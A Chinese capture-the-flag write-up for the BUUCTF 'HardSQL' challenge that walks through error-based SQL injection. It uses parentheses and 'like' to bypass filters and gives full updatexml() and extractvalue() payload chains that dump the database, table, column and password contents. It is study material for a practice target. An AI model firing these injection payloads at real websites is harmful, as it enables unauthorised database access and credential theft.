2025.1.16——七、HardSQL 报错注入

embedded/2025/1/19 12:10:14/

题目来源:buuctf [极客大挑战 2-19]HardSQL

目录

一、打开靶机,分析已知信息

二、手工注入解题

step 1:判断注入类型

step 2:查过滤字符

step 3:()和like绕过过滤

step 4:进行注入

1.用updatexml()

(1)得数据库

(2)得表名

(3)得列名

(4)得具体数据

2.用extractvalue()

(1)得数据库

(2)得表名

(3)得列名

(4)得具体数据

三、小结


一、打开靶机,分析已知信息

        页面没有信息,源码也没有信息,只能从头来

二、手工注入解题

step 1:判断注入类型

键入数字、字母都回显以下结果

键入万能密码,回显出

键入:username=1'&password=1

出现报错了,说明是单引号的字符型注入

万能密码注入同样回显,猜测某些字符或者关键字被过滤

step 2:查过滤字符

        抓包,用过滤字典爆破得本题过滤关键字为

甚至空格都被过滤了

step 3:()和like绕过过滤

用:username=admin&password=1'(or)

新知识:like是SQL语句中的一个关键字,主要用于在where子句中进行模糊查询,可以根据指定模式匹配文本数据

用()代替空格

用like绕过=号,重新构造万能密码:1'or((1)like(1))#

注:hackbar使用时,#要写作%23

        堆叠注入和联合注入因为过滤字符的存在都无法使用,所以用报错注入

step 4:进行注入

1.用updatexml()

(1)得数据库
sql">1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

(2)得表名
sql">1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

(3)得列名
sql">1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

(4)得具体数据
sql">1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23

        由于只有报错注入查询字符串长度最大位为32,所以用right()查询剩余内容

sql">1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

得到另一半flag

新知识

1.right(string,length),left()用法相同

如:right('hello hacker',3),则返回hel

2.^可绕过or的限制

2.用extractvalue()

(1)得数据库
sql">1'^extractvalue(1,concat(0x7e,(select(database()))))%23
(2)得表名
sql">1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
(3)得列名
sql">1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
(4)得具体数据

左边的flag

sql">1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23

右边的flag

sql">1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),1000))%23

或者

sql">1'^(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))%23

拼接可得flag

三、小结

新知识:

1.可用()代替空格,like代替=

2.报错注入有限制,可用right()函数突破限制,然后进行拼接信息


http://www.ppmy.cn/embedded/155218.html

相关文章

如何选择正确的电源 IC

电源IC是电源设计中必不可少的部件。本教程将提供为给定应用选择适当 IC 的步骤。它区分了三种常见的由直流电压供电的电源 IC:线性稳压器、开关稳压器和电荷泵。还提供了更的教程和主题的链接。 电源IC是电源设计中必不可少的部件。本教程将提供为给定应用选择适当…

网络安全---CMS指纹信息实战

CMS简介 CMS(Content Management System)指的是内容管理系统,如WordPress、Joomla等。CMS系统非常常见,几乎所有大型网站都使用CMS来管理其网站的内容。由于常见CMS的漏洞较多,因此黑客将不断尝试利用这些漏洞攻击CMS…

深入浅出JSON:数据交换的轻量级解决方案

在现代Web开发中,数据交换是前后端通信的核心。JSON(JavaScript Object Notation)作为一种轻量级的数据交换格式,因其简洁、易读、易解析的特点,成为了前后端数据交互的首选格式。本文将详细介绍JSON的定义、数据格式、…

重拾Python学习,先从把python删除开始。。。

自己折腾就是不行啊,屡战屡败,最近终于找到前辈教我 第一步 删除Python 先把前阵子折腾的WSL和VScode删掉。还是得用spyder,跟matlab最像,也最容易入手。 从VScode上搞python,最后安装到appdata上,安装插…

高性能、低成本立体声音频模数转换器—— GC1808,支持掉电和时钟检测低功耗模式

芯片描述: GC1808是一款高性能、低成本立体声音频模数转换器。其集成了64倍过采样率Δ-Σ调制器、数字梳状滤波器、数字高通滤波器。GC1808支持主、从机和两种串行音频数据格式。GC1808支持掉电和时钟检测低功耗模式。且封装形式采用TSSOP14,温度支持-40℃到 85℃。…

接口防篡改+防重放攻击

接口防止重放攻击:重放攻击是指攻击者截获了一次有效请求(如交易请求),并在之后的时间里多次发送相同的请求,从而达到欺骗系统的目的。为了防止重放攻击,通常需要在系统中引入一种机制,使得每个请求都有一个唯一的标识符(如时间戳…

服务端开发模式-vue-element-admin重新整理websocket

一、App.vue修改 <template><div id"app"><router-view /></div> </template><script>import store from ./storeimport {succ} from /utils/message export default {name: App,data() {return {reverseCount:0,}},created() …

AI编程工具使用技巧——通义灵码

活动介绍通义灵码1. 理解通义灵码的基本概念示例代码生成 2. 使用明确的描述示例代码生成 3. 巧妙使用注释示例代码生成 4. 注意迭代与反馈原始代码反馈后生成优化代码 5. 结合生成的代码进行调试示例测试代码 其他功能定期优化生成的代码合作与分享结合其他工具 总结 活动介绍…